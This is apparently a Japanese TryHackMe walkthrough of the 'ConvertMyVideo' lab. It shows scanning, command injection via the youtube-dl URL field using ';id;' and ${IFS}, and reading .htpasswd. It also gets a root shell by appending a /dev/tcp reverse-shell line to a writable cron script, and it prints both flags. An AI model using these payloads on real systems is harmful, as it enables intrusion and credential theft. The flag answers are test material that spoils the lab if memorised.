【TryHackMe】ConvertMyVideo：Walkthrough

# 概要

TryHackMe「ConvertMyVideo」のWalkthroughです。

https://tryhackme.com/r/room/convertmyvideo

# Task1

## **Q1**.*What is the name of the secret folder?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.147.55 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
|   256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_  256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|

`80`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0e99a587-0a78-1b32-f643-8d1fdfafe8af.png)

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.147.55
[14:19:48] 301 -  309B  - /js  ->  http://10.10.147.55/js/
[14:20:10] 401 -  459B  - /admin
[14:20:56] 301 -  313B  - /images  ->  http://10.10.147.55/images/
[14:21:40] 301 -  310B  - /tmp  ->  http://10.10.147.55/tmp/
```

`/admin`配下はHTTP Basic認証がかけられています。

**A**.**admin**

## **Q2**.*What is the user to access the secret folder?*

`/js/main.js`を確認すると、変換処理が分かりました。

```/js/main.js
$(function () {
    $("#convert").click(function () {
        $("#message").html("Converting...");
        $.post("/", { yt_url: "https://www.youtube.com/watch?v=" + $("#ytid").val() }, function (data) {
            try {
                data = JSON.parse(data);
                if(data.status == "0"){
                    $("#message").html("<a href='" + data.result_url + "'>Download MP3</a>");
                }
                else{
                    console.log(data);
                    $("#message").html("Oops! something went wrong");
                }
            } catch (error) {
                console.log(data);
                $("#message").html("Oops! something went wrong");
            }
        });
    });

});
```

video idを送信すると`/tmp/downloads`配下にリザルトのmp3ファイルが保存されるようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e641b147-9f56-9867-2753-c45c38d87afb.png)

また、エラー文から`youtube-dl`を使用していることが分かりました。

https://github.com/ytdl-org/youtube-dl

送信したURLを受け取ってサーバー側でコマンドを実行していると予測できます。

```
$ youtube-dl [OPTIONS] URL [URL...]
```

その場合、OSコマンドインジェクションが出来そうです。
ペイロードを試行していると、`;id;`でOSコマンドインジェクションが成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a16faf41-a582-3c1e-4adf-9fda5c622e7e.png)

リバースシェル用のスクリプトファイルをターゲットサーバーに設置します。
スペースには`${IFS}`を使用します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7c8f635a-9829-3b8d-47a6-445455f8cbcc.png)

Netcatでリッスンし、設置したシェルスクリプトを実行すると`www-data`のシェルを取得できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e1442e7c-d3a9-6dbb-03c8-578474b5e24d.png)

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.19] 43980
bash: cannot set terminal process group (844): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dmv:/var/www/html$ whoami
whoami
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`admin/.htpasswd`を見ると、`/admin`に必要な認証情報を得られました。

```
$ cat admin/.htpasswd
cat admin/.htpasswd
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/
```

**A**.**itsmeadmin**

## **Q3**.*What is the user flag?*

`admin/flag.txt`からユーザーフラグを入手できました。

```
$ cat admin/flag.txt
cat admin/flag.txt
flag{0d8486a0c0c42503bb60ac77f4046ed7}
```

**A**.**flag{0d8486a0c0c42503bb60ac77f4046ed7}**

## **Q4**.*What is the root flag?*

`pspy`でプロセスを監視すると、`/var/www/html/tmp/clean.sh`が定期的に実行されていると分かりました。

```
$ ./pspy32

2024/11/28 07:59:01 CMD: UID=0     PID=26135  | /usr/sbin/CRON -f 
2024/11/28 08:00:01 CMD: UID=0     PID=26142  | bash /var/www/html/tmp/clean.sh 
2024/11/28 08:00:01 CMD: UID=0     PID=26141  | /bin/sh -c cd /var/www/html/tmp && bash /var/www/html/tmp/clean.sh
```

`/var/www/html/tmp/clean.sh`の権限を確認すると、`www-data`で書き込み権限があります。

```
$ ls -la clean.sh
ls -la clean.sh
-rw-r--r-- 1 www-data www-data 17 Apr 12  2020 clean.sh
```

リバースシェルのコードを`clean.sh`に追記します。

```
$ echo "sh -i >& /dev/tcp/10.6.55.144/12345 0>&1" >> clean.sh
```

Netcatでリッスンしていると`root`のシェルを取得できました。

```
$ nc -lvnp 12345                                   
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.19] 55048
sh: 0: can't access tty; job control turned off
# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```
# cat /root/root.txt
flag{d9b368018e912b541a4eb68399c5e94a}
```

**A**.**flag{d9b368018e912b541a4eb68399c5e94a}**